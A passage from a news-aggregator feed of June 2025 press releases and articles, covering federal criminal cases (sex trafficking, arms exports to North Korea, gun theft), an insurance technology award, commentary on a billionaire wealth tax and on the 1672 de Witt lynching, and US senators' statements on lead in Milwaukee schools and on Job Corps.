According to court documents, PEEPLES brought a seventeen-year-old female (“Minor Victim”) from Memphis, Tennessee to New Orleans, Louisiana; Jackson, Mississippi; and Houston, Texas, and required her to engage in commercial sex acts. During this time, PEEPLES was aware of Minor Victim’s age. PEEPLES advertised Minor Victim on websites commonly used to advertise sexual services in exchange for money and kept all or most of the proceeds from her work. PEEPLES waited in a vehicle and watched Minor Victim while she solicited commercial sex “dates.” Minor Victim worked under PEEPLES’ supervision between August of 2020 and her escape in mid-January 2021. After Minor Victim ran away, PEEPLES posted a video on social media in which he boasted about exploiting Minor Victim and pointed firearms at the screen.

U.S. District Court Judge Sarah S. Vance sentenced PEEPLES to seventeen (17) years in prison. PEEPLES was also sentenced to ten (10) years of supervised release after release from prison. Judge Vance further ordered PEEPLES to pay $120,000 in restitution to Minor Victim, and a $100 mandatory special assessment fee. PEEPLES will also have to register as a sex offender.

This case was part of a broader investigation involving defendants JEREMY TALBERT and MACEO ROBERTS, both of whom have pleaded guilty for related sex trafficking crimes. In February 2025, U.S. District Court Judge Susie Morgan sentenced ROBERTS to 22.5 years of imprisonment for conspiring to traffic three minors and two adults. In March 2025, U.S. District Court Judge Lance Africk sentenced TALBERT to 18 years for trafficking a fourteen-year-old minor to New Orleans.

These cases were brought as part of Project Safe Childhood, a nationwide initiative to combat the growing epidemic of child sexual exploitation and abuse launched in May 2006 by the Department of Justice. Led by United States Attorneys’ Offices and the Criminal Division’s Child Exploitation and Obscenity Section (CEOS), Project Safe Childhood marshals federal, state and local resources to better locate, apprehend and prosecute individuals who exploit children via the Internet, as well as to identify and rescue victims. For more information about Project Safe Childhood, please visit www.justice.gov/psc.

Acting U.S. Attorney Simpson praised the work of the Federal Bureau of Investigation, the New Orleans Police Department, and the Memphis Police Department in investigating this matter. Assistant United States Attorneys Maria M. Carboni of the Financial Crimes Unit and Jordan Ginsberg, Supervisor of the Public Corruption Unit, are in charge of the prosecution.

MIL Security OSI –

June 10, 2025
MIL-OSI: HDFC ERGO General Insurance Wins Duck Creek Standard of Excellence Customer Award at Formation ’25
Source: GlobeNewswire (MIL-OSI)

BOSTON, June 09, 2025 (GLOBE NEWSWIRE) — Duck Creek Technologies, the global intelligent solutions provider defining the future of property and casualty (P&C) and general insurance, today announced HDFC ERGO General Insurance Company Limited (HDFC ERGO), India’s leading private sector general insurer, as a 2025 Standard of Excellence Customer Award winner at Formation ’25, its flagship customer conference held in Orlando, Florida. A digital-first company, transforming into an AI-first company, HDFC ERGO is a leading general insurer of India, which is known for introducing pioneering and futuristic tech solutions in the Indian insurance landscape to offer its customers the best-in-class service experience.

The Duck Creek Standard of Excellence Customer Awards recognize customers who have achieved the highest level of excellence through their implementation of Duck Creek solutions and who have a vision to advance their business, while reimagining the future of insurance. HDFC ERGO earned recognition for accelerating product launches, streamlining system integration, and increasing market agility using Duck Creek’s solutions, including Policy, Billing, Rating, and Insights.

The Indian insurance market is undergoing a major transformation with a growing customer demand and the need for hyper-personalized services. The Insurance Regulatory and Development Authority of India (IRDAI) has also been encouraging the insurers to develop agile and customer-centric products so as to fuel insurance inclusion among diverse demographics and across the diverse geographies in the country. HDFC ERGO’s adoption of Duck Creek’s low-code, highly configurable platform to design a pioneering AI-enabled, real-time policy issuance system marks a significant milestone, where now the insurer has transformed the end-to-end process for its Health and Fire lines of business.

“At HDFC ERGO, our endeavour has been to offer best-in-class solutions and experience to our customers. The behaviour and requirements of today’s customers have evolved to a great extent, where they expect dynamic, hyper-personalized, and innovative solutions, and the insurance industry is not an exception in this changed ecosystem. Hence as a customer-focused organization, we were looking for a technology partner, who would enable us to offer innovative products, efficient services, and better analytical insights in an integrated manner to provide a seamless experience to our customers. The tech enablement from Duck Creek matched perfectly to this requirement,” said Sriram Naganathan, President & CTO at HDFC ERGO General Insurance Company Limited. “We are happy and honored to receive the Duck Creek Standard of Excellence Award. We believe with these new tech enhancements we will set a new benchmark in the insurance industry and propel the cause of insurance inclusion in India — thus also supporting the vision of ‘Insurance for All by 2047’ of IRDAI— the Indian insurance regulator.”

The scale of the project was massive, involving over 45 business users, 150+ IT developers working in parallel across seven systems integrator partners, designing 300+ product covers, 300+ business rules, and executing 10,000+ test scenarios. The solutions were delivered in only nine months, with their commercial fire product first to go live, followed by their health product soon thereafter. Key results include:
- Product launch time reduced from 4-5 months to just four weeks, allowing rapid response to market demands and regulatory changes.
- Dramatic productivity gains for agents with quotes generated almost instantly and agents able to offer 4-5 alternative product options rather than just a single choice.
- Operational efficiency and risk reduction by drastically reducing manual data entry, minimizing compliance risks, and improving accuracy. Straight-through processing completed tasks in just 3-4 minutes, instead of hours or days.
- Elevated customer experience driven by policies now being processed in near real time, instead of in hours and days. Customers are now also offered data-driven product recommendations and better-suited options, leading to improved engagements.
“We are proud to honor HDFC ERGO General Insurance with the 2025 Standard of Excellence Customer Award,” said Christian Erickson, Vice President and General Manager, APAC at Duck Creek Technologies. “HDFC ERGO’s digital transformation stands as a benchmark for innovation and execution in the insurance industry. As our first customer in the in India market, we are thrilled to be HDFC ERGO’s strategic partner, with our suite of products helping drive meaningful business outcomes and value for the business, their customers, and shareholders. HDFC ERGO exemplifies the forward-thinking, customer-focused approach that defines the future of insurance. We congratulate them on this well-deserved recognition.”

About Duck Creek Technologies  
Duck Creek Technologies is the global intelligent solutions provider defining the future of the property and casualty (P&C) and general insurance industry. We are the platform upon which modern insurance systems are built, enabling the industry to capitalize on the power of the cloud to run agile, intelligent, and evergreen operations. Authenticity, purpose, and transparency are core to Duck Creek, and we believe insurance should be there for individuals and businesses when, where, and how they need it most. Our market-leading solutions are available on a standalone basis or as a full suite, and all are available via Duck Creek OnDemand. Visit www.duckcreek.com to learn more. Follow Duck Creek on our social channels for the latest information – LinkedIn and X.

Media Contacts:  
Marianne Dempsey/Tara Stred  
duckcreek@threeringsinc.com 

About HDFC ERGO General Insurance Company Limited:

HDFC ERGO General Insurance Company Limited, one of the leading private sector general insurance companies of India, whose promoters are HDFC Bank Limited, one of India’s leading private sector banks, and ERGO International AG, the primary insurance entity of Munich Re Group.

A digital-first company, transforming into an AI-first company, HDFC ERGO is a leader in implementing technology to offer customers the best-in-class service experience.

HDFC ERGO offers a complete range of General Insurance products including Health, Motor, Home, Agriculture, Travel, Credit, Cyber and Personal Accident in the retail space along with Property, Marine, Engineering, Marine Cargo, Group Health and Liability Insurance in the corporate space.

The Company has created a stream of innovative & new products as well as services using technologies like Artificial Intelligence (AI), Machine Learning (ML), Natural Processing Language (NLP), and Robotics. HDFC ERGO offers a range of general insurance products and has a completely digital sales process with 299 branches and 600+ digital offices across India. HDFC ERGO’s technology platform has empowered the customers to avail services digitally on a 24×7 basis, with 70%+ claims for retail products intimated digitally and over 80% of service interactions are catered digitally of which 10% are AI led. The Company issued ~3.4 crore policies in FY25 and has one of the best claims payout ratios in the General Insurance industry.

Be it unique insurance products, integrated customer service models, top-in-class claim processes or a host of technologically innovative solutions, HDFC ERGO has been able to delight its customers at every touch-point and milestone to ensure consumers are serviced in real-time.

Social Media:

Facebook: https://www.facebook.com/hdfcergo

Twitter: https://twitter.com/hdfcergogic

LinkedIn: https://www.linkedin.com/company/hdfcergo

YouTube: https://youtube.com/c/hdfcergo

Media Contacts:
  
Shilpi Bose
Shilpi.bose@hdfcergo.com

The MIL Network –
June 10, 2025
MIL-Evening Report: Some economists have called for a radical ‘global wealth tax’ on billionaires. How would that work?

Source: The Conversation (Au and NZ) – By Venkat Narayanan, Senior Lecturer – Accounting and Tax, RMIT University

Rudy Balasko/Shutterstock

Earlier this year, I attended a housing conference in Sydney. The event’s opening address centred on the way Australia seems to be becoming like 18th-century England – a country where inheritance largely determines one’s opportunities in life.

There has been a lot of media coverage of economic inequities in Australian society. Our tax system has been partly blamed for this problem. The case for long-term, visionary tax reform has never been stronger. And one area of tax reform could be a wealth tax.

First, let’s be clear about one thing. Unlike the superannuation tax reforms currently being debated for those with more than A$3 million in superannuation, the wealth tax we’re talking about would apply to a very different cohort: billionaires.

A recent article in the Financial Times re-examined a proposal to impose such a tax on the world’s highest-net-worth individuals. It also pointed out these efforts would need to be globally coordinated.

Such taxes could collect significant sums of money for governments. It’s previously been estimated a billionaire tax could raise US$250 billion (more than A$380 billion) globally if just 2% of the net worth of the world’s billionaires was taxed each year.

The case for a wealth tax

Inequality is on the rise and the argument for a wealth tax can’t be ignored – not least here at home. According to the Australia Institute, the wealth of Australia’s richest 200 people has soared as a percentage of our national gross domestic product (GDP) – from 8.4% in 2004 to 23.7% in 2024.

If that sounds dramatic, the picture is far worse in the United States. So, what would a wealth tax look like in Australia (noting that in reality a globally coordinated effort would be needed)?

The starting point for this is understanding of why high-net-worth individuals seemingly pay very low taxes.

High net worth, low tax rate

Income taxes only take into account any amounts that are received in the hands of the taxpayer – whether that is a company, a person or a trust.

Most high-net-worth individuals do not receive much income directly but “store” their wealth in companies and other corporate structures.

In Australia, the maximum applicable tax rate for companies is 30%. Note that the highest tax rate in Australia for individuals is 45% plus the 2% medicare levy, effectively 47%.

Assets such as real estate may also be held by companies or trusts, and the increase in value of these assets is not taxed until they are sold (through capital gains tax).

Even then, those gains may not be paid out directly to the high-net-worth individual who owns these entities.

Unrealised gains

So, how do we tax wealth that is sitting in various businesses (company structures) or other entities, but isn’t taxed at present because the “income” or “gains” from these are not taxable in the hands of the wealthy individuals who own them?

This goes into the murky area of taxation of unrealised gains. Here, we need to tread very carefully. But we also need to recognise that we already do this, albeit rather subtly, and most of us are not billionaires.

In your rates notice from your local council, for example, the increase in value of your residence or investment property is used to calculate your rates.

The real difficulty, to carry on with this example, is that your residence or investment property is typically held in your name and so the tax can be directly levied on you.

A luxury residence in Miami Beach, Florida, owned by Jeff Bezos, founder of Amazon. The US is home to the most billionaires of any country in the world.
Felix Mizioznikov/Shutterstock

Making tax unavoidable

As we’ve already explained, the bulk of the assets or net worth of wealthy individuals is not directly attributable to them. Does this mean we should give up altogether?

Not quite. UNSW professor Chris Evans has pointed out that while we may not be able to effectively tax all the net worth of the wealthy, there are some things we can tax and they can’t avoid it.

An obvious example is real estate. You can pack your bags and bank accounts and move to a low-tax country, but you can’t move your mansion overlooking Sydney Harbour.

Real estate, both residential and commercial, provides one clear way in which we could implement a partial wealth tax. This method (which also has fewer valuation issues than value stored in a company in the form of retained profits) also counters the argument that the wealthy will simply move to other jurisdictions that won’t tax them.

There is plenty of academic research looking at various wealth tax initiatives in other countries. We should learn from these, including the experience in Switzerland and Sweden.

In Sweden, for instance, research found the behavioural effects of wealth taxation were less pronounced than those of income taxation, but the system had so many loopholes that evasion was an option for some people.

Change faces headwinds

In a very uncertain world that features ongoing wars and an unpredictable US president, any change that seeks to address issues of inequity is going to be met with resistance by those who hold power.

Some billionaires in the US, however, have expressed their support for being taxed more in a letter signed by heirs to the Disney and Rockefeller fortunes. That offers some hope, and suggests the discussion about wealth taxes should not be relegated to the “too hard” basket.

Some steps towards taxing the uber-rich would be better than the status quo.

Venkat Narayanan does not work for, consult, own shares in or receive funding from any company or organisation that would benefit from this article, and has disclosed no relevant affiliations beyond their academic appointment.

– ref. Some economists have called for a radical ‘global wealth tax’ on billionaires. How would that work? – https://theconversation.com/some-economists-have-called-for-a-radical-global-wealth-tax-on-billionaires-how-would-that-work-257632

MIL OSI Analysis – EveningReport.nz –

June 10, 2025
MIL-Evening Report: Fake news and real cannibalism: a cautionary tale from the Dutch Golden Age

Source: The Conversation (Au and NZ) – By Garritt C. Van Dyk, Senior Lecturer in History, University of Waikato

The Corpses of the De Witt Brothers, attributed to Jan de Baen, c. 1672-1675. Rijksmuseum

The Dutch Golden Age, beginning in 1588, is known for the art of Rembrandt, the invention of the microscope, and the spice trade of the Dutch East India Company. It ended a little under a century later in a frenzy of body parts and mob justice.

In 1672, enraged by a fake news campaign, rioters killed the recently ousted head of state Johan de Witt and his brother Cornelis. The mob hung them upside down, removed their organs, ate parts of the corpses, and sold fingers and tongues as souvenirs.

Even in a period characterised by torture and assassination, this grisly act stands out as extreme. But it also stands as a warning from history about what can happen when disinformation is allowed to run rampant.

The attack on Johan and Cornelis de Witt was fuelled by a relentless flood of malicious propaganda and forgeries claiming the brothers were corrupt, immoral elitists who had conspired with enemies of the Dutch Republic.

The anonymous authors of the smear campaigns blamed Johan for war with England and “all the bloodshed, killing and injuring, the crippled and mutilated people, including widows and orphans” that allegedly kept him in power.

According to one pamphlet, the violence was legitimate because the ends justified the means: “Beating to death is not a sin in case it is practised against a tyrant.” The sentiment echoes a quote frequently attributed to Napoleon, recently shared by US President Donald Trump on social media: “He who saves his country does not violate any law.”

‘Fight like hell’

These days, of course, we’ve become accustomed to the dangers fake news (and deepfakes) pose in the promotion of political violence, hate speech, extremism and extrajudicial killings.

In March, for example, historical footage of war crimes in Syria was manipulated by generative AI to appear as current events. Combined with disinformation in chat rooms and on social media, it incited panic and violence.

The effects were magnified in a country with no reliable independent media, where informal news is often the only source of information.

But even in a superpower with an established media culture, similar things happen.
Before the January 6 insurrection at the US Capitol in 2021, Trump called on thousands of supporters at a “Save America” rally to “fight like hell” or they were “not going to have a country anymore”.

This was shortly before Congress verified the presidential election result, which Trump alleged was invalid because of voter fraud. Addressing the same crowd, Trump advisor Rudolph Giuliani called for “trial by combat”.

What happened might not have been as extreme as the events in the Netherlands 350 years earlier, but a violent mob fired up on disinformation still shook the foundations of US democracy.

Historical echoes: supporters of Donald Trump march through Washington DC to the Capitol Building on January 6, 2021.
Getty Images

The ‘disaster year’

The deeper forces at work in the US were and still are complex – just as they were in the 17th-century Dutch Republic. What brought it down was a volatile mix of power struggles, geopolitical rivalries and oligarchy.

William of Orange had been excluded from the office of stadtholder, the hereditary head of state, by a secret treaty with England under Oliver Cromwell to end the First Anglo-Dutch War.

When the English monarchy was restored, however, the treaty became invalid and the Orangists attempted to reinstate William. Johan De Witt represented the States Party, made up of wealthy oligarchs, whereas William was seen as a man of the people.

The republic had built an impressive navy and merchant fleet but neglected its army. A land invasion by France and allies was supported by the English navy. To prevent the invasion from advancing, land was flooded by opening gates and canals.

The combination of floods and an occupying army threw the economy into chaos. The Orangists wouldn’t cooperate with the States Party, and the republic was on the brink of collapse. The Dutch referred to 1672 as the Rampjaar, the “disaster year”.

Historical rhymes

Satirists, pamphleteers and activists seized on the crises as an opportunity to ramp up their campaign against the de Witt brothers. Political opposition turned into personal attacks, false accusations and calls for violence.

Johan was assaulted and stabbed in an attempted assassination in June 1672, resigning from his role as head of state two months later. Cornelis was then arrested for treason. When Johan went to visit him in prison, the guards and soldiers disappeared, and a conveniently positioned mob dragged the brothers into the street.

The rest, as they say, is history. William III was strongly suspected of orchestrating the brothers’ gruesome murder, but this was never confirmed.

Is there is a moral to the story? Perhaps it is simply that, in a time of crisis, a campaign of disinformation can transform political opposition and rebellion into assassination – and worse.

Pamphlets – the social media of their day – manipulated public perception and amplified popular anxiety into murderous rage. A golden age of prosperity under a republic headed by oligarchs ended with ritualised political violence and the return of a monarch who promised to keep the people safe.

They say history doesn’t repeat, but it does rhyme. As ever, the need to separate fact from fiction remains an urgent task.

Garritt C. Van Dyk has been a recipient of Getty Research Institute funding.

– ref. Fake news and real cannibalism: a cautionary tale from the Dutch Golden Age – https://theconversation.com/fake-news-and-real-cannibalism-a-cautionary-tale-from-the-dutch-golden-age-257104

MIL OSI Analysis – EveningReport.nz –

June 10, 2025
MIL-OSI Canada: Minister Joly and Petrina Gentile to discuss the future of the Canadian auto industry at the 2025 Canada Automotive Summit

Source: Government of Canada News

June 9, 2025 – Vaughan, Ontario

The Honourable Mélanie Joly, Minister of Industry and Minister responsible for Canada Economic Development for Quebec Regions, will be participating in a discussion with Petrina Gentile, automotive reporter with The Globe and Mail, at the 2025 Canada Automotive Summit.

Minister Joly will take part in a media scrum following the discussion.

Date: Tuesday, June 10, 2025

Time: 4:00 p.m. (ET) fireside chat
4:45 p.m. (ET) media scrum

Location: Vaughan, Ontario

Members of the media are asked to contact ISED Media Relations at media@ised-isde.gc.ca to receive event location details and confirm their attendance.

MIL OSI Canada News –

June 10, 2025
MIL-OSI USA: Baldwin Meets with Families Impacted by Milwaukee School Closures Due to Lead Exposure, Lack of Federal Support

US Senate News:

Source: United States Senator for Wisconsin Tammy Baldwin

MILWAUKEE, WI – Today, U.S. Senator Tammy Baldwin (D-WI) visited Milwaukee Public Schools’ (MPS) Frances Starms Discovery Learning Center to meet with parents whose children’s health was at risk and schools were closed this year because of lead hazards.

“When Milwaukee called for help to keep kids safe and address this lead crisis, their application was denied because RFK, Jr. and Donald Trump fired every single one of the lead experts who could help,” said Senator Baldwin. “Today, I heard firsthand from Milwaukee families whose children have been poisoned by lead and were forced out of the schools they attend, all while they continue to live in fear and think they were left behind. While Donald Trump and RFK, Jr. continue to sit on their hands, I’ll keep showing up, listening to the families, and fighting to hold the Trump administration to account so Milwaukee gets the support it deserves.”

Baldwin’s visit comes as she continues to hold the Trump Administration accountable for failing to support Milwaukee, firing the entire Childhood Lead Poisoning Prevention Surveillance Branch, and not providing on-the-ground support to keep children safe.

In early April, the Centers for Disease Control notified MPS that they would not be able to receive on-site help from lead experts because the Trump administration shut down the lead poisoning branch and fired the experts. The crisis has shuttered six schools and displaced 1,800 children in Milwaukee. Senator Baldwin has repeatedly pressed the Administration to reinstate fired experts and approve Milwaukee’s plea for federal assistance.

MIL OSI USA News –

June 10, 2025
MIL-OSI USA: Chinese National Pleads Guilty to Acting at the Direction of North Korea to Export Firearms, Ammo, and Technology to North Korea

Source: US State of California

An illegal alien from China pleaded guilty today to federal criminal charges for illegally exporting firearms, ammunition and other military items to North Korea by concealing them inside shipping containers that departed from the Port of Long Beach, California, and for committing this crime at the direction of North Korean government officials, who wired him approximately $2 million for his efforts.

Shenghua Wen, 42, of Ontario, California, pleaded guilty to one count of conspiracy to violate the International Emergency Economic Powers Act (IEEPA) and one count of acting as an illegal agent of a foreign government. Wen has been in federal custody since his arrest in December 2024.

According to his plea agreement, Wen is a citizen of the People’s Republic of China who entered the United States in 2012 on a student visa and remained in the U.S. illegally after his student visa expired in December 2013.

Prior to entering the United States, Wen met with officials from North Korea’s government at a North Korean embassy in China. These government officials directed Wen to procure goods on behalf of North Korea.

In 2022, two North Korean government officials contacted Wen through an online messaging platform and instructed him to buy and smuggle firearms and other goods – including sensitive technology – from the United States to North Korea via China.

In 2023, at the direction of North Korean government officials, Wen shipped at least three containers of firearms out of the Port of Long Beach to China en route to their ultimate destination in North Korea. Wen took steps to conceal that he was illegally shipping firearms to North Korea by, among other things, filing false export information regarding the contents of the containers.

In May 2023, Wen purchased a firearms business in Houston, paid for with money sent through intermediaries by one of Wen’s North Korean contacts. Wen purchased many of the firearms he sent to North Korea in Texas and drove the firearms from Texas to California, where he arranged for them to be shipped.

In December 2023, one of Wen’s weapons shipments – which falsely reported to U.S. officials that it contained a refrigerator – left the Port of Long Beach and arrived in Hong Kong in January 2024. This weapons shipment was later transported from Hong Kong to Nampo, North Korea.

In September 2024, Wen – once again acting at the direction of North Korean officials – bought approximately 60,000 rounds of 9mm ammunition that he intended to ship to North Korea.

In furtherance of the conspiracy and at the direction of North Korean officials, Wen also obtained sensitive technology that he intended to send to North Korea. This technology included a chemical threat identification device and a handheld broadband receiver that detects known, unknown, illegal, disruptive or interfering transmissions.

Wen also acquired or offered to acquire a civilian airplane engine and a thermal imaging system that could be mounted on a drone, helicopter, or other aircraft, and could be used for reconnaissance and target identification.

During the scheme, North Korean officials wired approximately $2 million to Wen to procure firearms and other goods for their government.

Wen admitted that at all relevant times he knew that it was illegal to ship firearms, ammunition, and sensitive technology to North Korea. He also admitted to never having the required licenses to export ammunition, firearms, and the above-described devices to North Korea. He further admitted to acting at the direction of North Korean government officials and that he had not provided notification to the Attorney General of the United States that he was acting in the United States at the direction and control of North Korea as required by law.

Wen faces a maximum penalty of 20 years in prison on the count of violating the IEEPA and a maximum penalty of 10 years in prison on the count of acting as an illegal agent of a foreign government. Sentencing is scheduled for Aug. 18. A federal district court judge will determine any sentence after considering the U.S. Sentencing Guidelines and other statutory factors.

Assistant Attorney General for National Security John Eisenberg, U.S. Attorney Bilal A. Essayli for the Central District of California, and Assistant Director Roman Rozhavsky of the FBI Counterintelligence Division made the announcement.

The FBI, Homeland Security Investigations, Defense Criminal Investigative Service (DCIS), the Bureau of Alcohol, Tobacco, Firearms and Explosives (ATF), and the Department of Commerce Bureau of Industry and Security (BIS) are investigating the case.

Assistant U.S. Attorney Sarah E. Gerdes for the Central District of California and Trial Attorney Ahmed Almudallal of the National Security Division’s Counterintelligence and Export Control Section are prosecuting the case.

MIL OSI USA News –

June 10, 2025
MIL-OSI Security: Waterbury Teen Sentenced to 3 Years in Federal Prison for Salem Gun Theft, Trafficking Offenses

Source: United States Bureau of Alcohol Tobacco Firearms and Explosives (ATF)

David X. Sullivan, United States Attorney for the District of Connecticut, announced that EDUARDO CRUZ, 19, of Waterbury, was sentenced today by U.S. District Judge Michael P. Shea in Hartford to 36 months of imprisonment, followed by three years of supervised release, for offenses related to the theft of firearms from a federally-licensed gun dealer in Salem, and the trafficking of some of the stolen firearms.

According to court documents and statements made in court, in the early morning of March 15, 2024, Cruz and others drove a car into the entryway doors of Statewide Pawn Shop, a federal firearms licensee in Salem, and stole 21 firearms from the store. Later that day, law enforcement made a controlled purchase of three of the stolen firearms from Cruz and a juvenile in Waterbury. On March 18, 2024, investigators purchased another of the stolen firearms from Cruz, who arrived at the meeting location with two juveniles. Cruz was arrested at that time, and law enforcement recovered two additional stolen firearms, one that was carried by one of the juveniles, and one from Cruz’s vehicle.

Two of the stolen firearms were also found in the home of one of Cruz’s associates on March 18, 2024. Thirteen of the stolen firearms are still missing.

Cruz has been detained since his arrest. On March 7, 2025, he pleaded guilty to one count of theft of firearms from a licensee and one count of firearms trafficking.

This matter is being investigated by the Bureau of Alcohol, Tobacco, Firearms, and Explosives (ATF), the Connecticut State Police, and the Waterbury, Stamford, and Wolcott Police Departments.

U.S. Attorney Sullivan thanked the State’s Attorney for the Judicial District of Waterbury and the State’s Attorney for the Judicial District of New London for their cooperation in investigating and prosecuting this matter.

The case is being prosecuted by Assistant U.S. Attorney Sean Mahard through Project Safe Neighborhoods (PSN), a program bringing together all levels of law enforcement and the communities they serve to reduce gun violence and other violent crime, and to make our neighborhoods safer for everyone. For more information about Project Safe Neighborhoods, please visit www.justice.gov/psn.

MIL Security OSI –

June 10, 2025
MIL-OSI Security: Harrison County Man Admits to Methamphetamine Charge

Source: United States Bureau of Alcohol Tobacco Firearms and Explosives (ATF)

CLARKSBURG, WEST VIRGINIA – James Leonard Bailey, III, age 41, of Stonewood, West Virginia, has admitted to conspiring to possess with the intent to distribute five grams or more of methamphetamine.

According to court documents, Bailey was found with 32 grams of methamphetamine and a firearm in Harrison County.

Bailey is facing at least five and up to 40 years in prison. A federal district court judge will determine any sentence after considering the U.S. Sentencing Guidelines and other statutory factors.

Assistant U.S. Attorney Christie Utt is prosecuting the case on behalf of the government.

The Bureau of Alcohol, Tobacco, Firearms and Explosives and the Stonewood Police Department investigated.

U.S. Magistrate Judge Michael John Aloi presided.

MIL Security OSI –

June 10, 2025
MIL-OSI USA: Welch Joins 39 Colleagues in Fighting Trump Administration’s Illegal Termination of the Jobs Corp Program

US Senate News:

Source: United States Senator Peter Welch (D-Vermont)
WASHINGTON, D.C. – U.S. Senator Peter Welch (D-Vt.) recently joined Senator Bernie Sanders (I-Vt.) and 38 of his colleagues in urging the Trump Administration to immediately reverse its decision to illegally and abruptly terminate Job Corps center operations which have left 25,000 students and thousands of staff across 99 Job Corps centers, including in Vergennes, Vermont, in the lurch.
Since 1964, Job Corps has helped millions of low-income or at-risk young people develop the skills and resilience needed to succeed in work and life. As the largest free residential education and job training program for young adults ages 16-24, Job Corps programs help students complete their high school education, learn high-value technical skills, and connect to employment through intensive education, training, and support services in a residential setting while providing stable housing, medical and mental health care, and other supportive services to ensure their success.
“We urge you to immediately reverse this decision to prevent a lapse in education and services for Job Corps students. We further urge that the Department restart enrollments, expeditiously restart background checks, and make any contract extensions or modifications necessary to ensure no interruptions or delays for students or program operations,” wrote the Senators. “Congress passed the Full-Year Continuing Appropriations and Extensions Act of 2025, which includes $1,760,155,000 for Job Corps and ensures that Job Corps Centers are funded for the new program year that begins on July 1, 2025. We write to remind you of your obligation to faithfully implement the law.”
Job Corps centers operate in rural regions nationwide and contribute to their local communities and economies. Many centers have partnered with employers, local workforce development boards, government agencies, and community-based organizations to develop the future workforce and meet the needs of local employers.
The Senators continued: “At a time when more than 72% of jobs will require training beyond a high school diploma, Job Corps provides students with the opportunity to become wildland firefighters to keep our communities safe, nurses to help care for our families, electricians needed to build and maintain clean energy systems, and machinists, pipefitters, and welders to manufacture the next generation of submarines.”
“Abruptly canceling contracts for the nation’s Job Corps centers will leave students and communities in the lurch and undermine opportunities for young people to get education and training to succeed in valuable trades,” wrote the Senators. “Rather than gutting this valuable program, we urge you to work with Congress to strengthen accountability and program quality for the betterment of young workers, employers needing skilled labor, and communities nationwide, such as reforms included in the bipartisan, bicameral Workforce Innovation and Opportunity Act (WIOA) reauthorization bill from last Congress.”
The Senators requested answers to the following questions:
Please provide a list of onboard strength (enrollment) at each center before January 20, 2025 and before the operations pause on May 28, 2025.
With Job Corps operations on “pause”, how does the department plan to fulfill its obligations to implement the Full-Year Continuing Appropriations and Extensions Act, 2025, which includes $1,760,155,000 for Job Corps serving students?
Please provide information on the number of students experiencing homelessness prior to enrollment at a Job Corps center based on enrollment at each center on May 28, 2025.
Please provide a list of every contract that has been terminated or modified since January 20, 2025, including the total amount of funds to each operator, the amount of funds that each operator has spent up to the date of the contract’s termination or modification, and the amount of remaining unspent funds for each contract.
What authority is the Department using to “pause” operations? Please provide a citation in law or regulation.
The concept of a “pause” does not exist in Job Corps authorizing statute and appears to be an attempt to illegally shut down Job Corps operations without following requirements in law. Section 159 of the Workforce Innovation and Opportunity Act (WIOA) includes clear requirements and processes for the closure of Job Corps Centers that were not followed in this “pause”. How does the Department define a “pause” and how is it different than a “termination”?
On April 25, 2025, the Department’s Employment and Training Administration (ETA) released the first-ever Job Corps Transparency Report, which is used throughout the DOL press release to pause operations at centers.
Centers have returned funding to DOL when enrollments were lower than expected (but that’s not reflected in this report.) Please provide an updated cost per enrollee that accounts for money returned to DOL.
The report also provides cost per enrollee based on enrollment from program year 2023. DOL has much more up-to-date enrollment numbers. Please provide an updated cost per enrollee with the enrollments on campuses as of May 28, 2025, incorporating onboard strength at each campus.
In addition to Senators and Welch and Sanders, the letter was cosigned by Senators Tammy Duckworth (D-Ill.), Richard Blumenthal (D-Conn.), Tim Kaine (D-Va.), Ed Markey (D-Mass.), Angela Alsobrooks (D-Md.), Lisa Blunt Rochester (D-Del.), Kirsten Gillibrand (D-N.Y.), Mazie Hirono (D-Hawaii), Elizabeth Warren (D-Mass.), Chris Murphy (D-Conn.), Chris Coons (D-Del.), John Fetterman (D-Pa.), Elissa Slotkin (D-Mich.), Ben Ray Lujan (D-N.M.), Amy Klobuchar (D-Minn.), Jacky Rosen (D-Nev.), Angus King (I-Maine), Martin Heinrich (D-N.M.), Tina Smith (D-Minn.), Jack Reed (D-R.I.), Chuck Schumer (D-N.Y.), Alex Padilla (D-Calif.), Raphael Warnock (D-Ga.), Jeff Merkley (D-Ore.), Brian Schatz (D-Hawaii), Cory Booker (D-N.J.), John Hickenlooper (D-Colo.), Andy Kim (D-N.J.), Chris Van Hollen (D-Md.), Dick Durbin (D-Ill.), Catherine Cortez Masto (D-Nev.), Mark Warner (D-Va.), Jeanne Shaheen (D-N.H.), Mark Kelly (D-Ariz.), Ron Wyden (D-Ore.), Gary Peters (D-Mich.), Tammy Baldwin (D-Wis.) and Patty Murray (D-Wash.).
Read and download the full text of the letter to Labor Secretary Lori Chavez-DeRemer.

MIL OSI USA News –

June 10, 2025
MIL-OSI Security: Chinese National Pleads Guilty to Acting at the Direction of North Korea to Export Firearms, Ammo, and Technology to North Korea

Source: United States Department of Justice Criminal Division

An illegal alien from China pleaded guilty today to federal criminal charges for illegally exporting firearms, ammunition and other military items to North Korea by concealing them inside shipping containers that departed from the Port of Long Beach, California, and for committing this crime at the direction of North Korean government officials, who wired him approximately $2 million for his efforts.

Shenghua Wen, 42, of Ontario, California, pleaded guilty to one count of conspiracy to violate the International Emergency Economic Powers Act (IEEPA) and one count of acting as an illegal agent of a foreign government. Wen has been in federal custody since his arrest in December 2024.

According to his plea agreement, Wen is a citizen of the People’s Republic of China who entered the United States in 2012 on a student visa and remained in the U.S. illegally after his student visa expired in December 2013.

Prior to entering the United States, Wen met with officials from North Korea’s government at a North Korean embassy in China. These government officials directed Wen to procure goods on behalf of North Korea.

In 2022, two North Korean government officials contacted Wen through an online messaging platform and instructed him to buy and smuggle firearms and other goods – including sensitive technology – from the United States to North Korea via China.

In 2023, at the direction of North Korean government officials, Wen shipped at least three containers of firearms out of the Port of Long Beach to China en route to their ultimate destination in North Korea. Wen took steps to conceal that he was illegally shipping firearms to North Korea by, among other things, filing false export information regarding the contents of the containers.

In May 2023, Wen purchased a firearms business in Houston, paid for with money sent through intermediaries by one of Wen’s North Korean contacts. Wen purchased many of the firearms he sent to North Korea in Texas and drove the firearms from Texas to California, where he arranged for them to be shipped.

In December 2023, one of Wen’s weapons shipments – which falsely reported to U.S. officials that it contained a refrigerator – left the Port of Long Beach and arrived in Hong Kong in January 2024. This weapons shipment was later transported from Hong Kong to Nampo, North Korea.

In September 2024, Wen – once again acting at the direction of North Korean officials – bought approximately 60,000 rounds of 9mm ammunition that he intended to ship to North Korea.

In furtherance of the conspiracy and at the direction of North Korean officials, Wen also obtained sensitive technology that he intended to send to North Korea. This technology included a chemical threat identification device and a handheld broadband receiver that detects known, unknown, illegal, disruptive or interfering transmissions.

